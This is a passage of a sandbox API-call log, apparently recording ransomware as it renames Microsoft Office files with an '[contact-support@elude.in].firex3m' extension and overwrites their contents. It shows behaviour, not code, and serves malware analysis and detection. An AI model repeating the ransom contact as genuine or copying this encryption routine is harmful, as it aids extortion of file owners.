[0160.604] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml") returned 1 [0160.604] GetProcessHeap () returned 0x630000 [0160.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c04) returned 0x707d3d0 [0160.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0160.605] CloseHandle (hObject=0x67c) returned 1 [0160.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1072, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0160.606] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0160.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0160.606] GetProcessHeap () returned 0x630000 [0160.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1081) returned 0x6fa8e10 [0160.606] GetProcessHeap () returned 0x630000 [0160.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1081) returned 0x714508 [0160.606] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.606] ReadFile (in: hFile=0x67c, lpBuffer=0x6fa8e10, nNumberOfBytesToRead=0x1060, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8e10*, lpNumberOfBytesRead=0x483ff0c*=0x1060, lpOverlapped=0x0) returned 1 [0160.711] GetProcessHeap () returned 0x630000 [0160.711] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0160.711] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.711] WriteFile (in: hFile=0x67c, lpBuffer=0x714508*, nNumberOfBytesToWrite=0x1060, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesWritten=0x483ff0c*=0x1060, lpOverlapped=0x0) returned 1 [0160.712] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.712] WriteFile (in: hFile=0x67c, lpBuffer=0x715567*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x715567*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.712] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.712] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.712] CloseHandle (hObject=0x67c) returned 1 [0160.712] GetProcessHeap () returned 0x630000 [0160.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0160.712] GetProcessHeap () returned 0x630000 [0160.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa8e10 | out: hHeap=0x630000) returned 1 [0160.712] GetProcessHeap () returned 0x630000 [0160.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176598 | out: hHeap=0x630000) returned 1 [0160.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25bd37d4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0xbac7496, dwReserved1=0x6fa8e08, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0160.712] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0160.712] Sleep (dwMilliseconds=0x1) [0163.006] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll") returned 1 [0163.006] GetProcessHeap () returned 0x630000 [0163.006] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c34) returned 0x707d3d0 [0163.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1069\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0165.010] CloseHandle (hObject=0x620) returned 1 [0165.010] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1069\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1069\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0168.029] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0168.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1069\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0168.029] GetProcessHeap () returned 0x630000 [0168.029] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x736bd28 [0168.029] GetProcessHeap () returned 0x630000 [0168.029] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7377158 [0168.029] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.029] ReadFile (in: hFile=0x620, lpBuffer=0x736bd28, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x736bd28*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0174.667] GetProcessHeap () returned 0x630000 [0174.667] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0174.667] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.667] WriteFile (in: hFile=0x620, lpBuffer=0x7377158*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377158*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.743] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.744] WriteFile (in: hFile=0x620, lpBuffer=0x7382557*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382557*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.744] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.744] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.744] CloseHandle (hObject=0x620) returned 1 [0176.745] GetProcessHeap () returned 0x630000 [0176.745] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7377158 | out: hHeap=0x630000) returned 1 [0176.990] GetProcessHeap () returned 0x630000 [0176.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x736bd28 | out: hHeap=0x630000) returned 1 [0176.990] GetProcessHeap () returned 0x630000 [0176.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0177.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.055] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f4ad059, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0xbac7496, dwReserved1=0x736bd20, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5480 [0177.055] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0177.055] Sleep (dwMilliseconds=0x1) [0177.062] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS", len=0x44 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS") returned 1 [0177.062] GetProcessHeap () returned 0x630000 [0177.062] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b2c) returned 0x707d3d0 [0177.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0177.127] CloseHandle (hObject=0x4bc) returned 1 [0177.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6d7fcc, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6d7fcc, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x5eeea, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~4.FIR")) returned 0x6d52c0 [0177.128] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0177.128] GetProcessHeap () returned 0x630000 [0177.128] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x728fb10 [0177.128] GetProcessHeap () returned 0x630000 [0177.128] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x708da18 [0177.129] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.129] ReadFile (in: hFile=0x4bc, lpBuffer=0x728fb10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fb10*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0183.187] GetProcessHeap () returned 0x630000 [0183.187] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0183.188] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.188] WriteFile (in: hFile=0x4bc, lpBuffer=0x708da18*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708da18*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0183.189] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.189] WriteFile (in: hFile=0x4bc, lpBuffer=0x7098e17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7098e17*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.190] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.190] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.190] CloseHandle (hObject=0x4bc) returned 1 [0185.190] GetProcessHeap () returned 0x630000 [0185.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708da18 | out: hHeap=0x630000) returned 1 [0185.191] GetProcessHeap () returned 0x630000 [0185.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728fb10 | out: hHeap=0x630000) returned 1 [0185.191] GetProcessHeap () returned 0x630000 [0185.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0185.191] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6d7fcc, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6d7fcc, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x345486ba, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5ef0e, dwReserved0=0xbac7496, dwReserved1=0x728fb08, cFileName="WINPROJ_STD.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~4.FIR")) returned 0x6d4ec0 [0185.191] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0185.191] Sleep (dwMilliseconds=0x1) [0187.180] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", len=0x56 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx") returned 1 [0187.180] GetProcessHeap () returned 0x630000 [0187.180] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29bc) returned 0x707d3d0 [0187.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0187.214] CloseHandle (hObject=0x704) returned 1 [0187.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb5, dwReserved0=0xc6085b95, dwReserved1=0x2e005d, cFileName="linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LINESD~1.FIR")) returned 0x6d53c0 [0187.216] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0187.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0187.217] GetProcessHeap () returned 0x630000 [0187.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ec1) returned 0x73342c8 [0187.217] GetProcessHeap () returned 0x630000 [0187.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2ec1) returned 0x7337198 [0187.217] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.217] ReadFile (in: hFile=0x704, lpBuffer=0x73342c8, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73342c8*, lpNumberOfBytesRead=0x483ff0c*=0x2ea0, lpOverlapped=0x0) returned 1 [0189.192] GetProcessHeap () returned 0x630000 [0189.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0189.192] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.192] WriteFile (in: hFile=0x704, lpBuffer=0x7337198*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7337198*, lpNumberOfBytesWritten=0x483ff0c*=0x2ea0, lpOverlapped=0x0) returned 1 [0189.192] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.192] WriteFile (in: hFile=0x704, lpBuffer=0x733a037*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733a037*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.192] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.192] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, 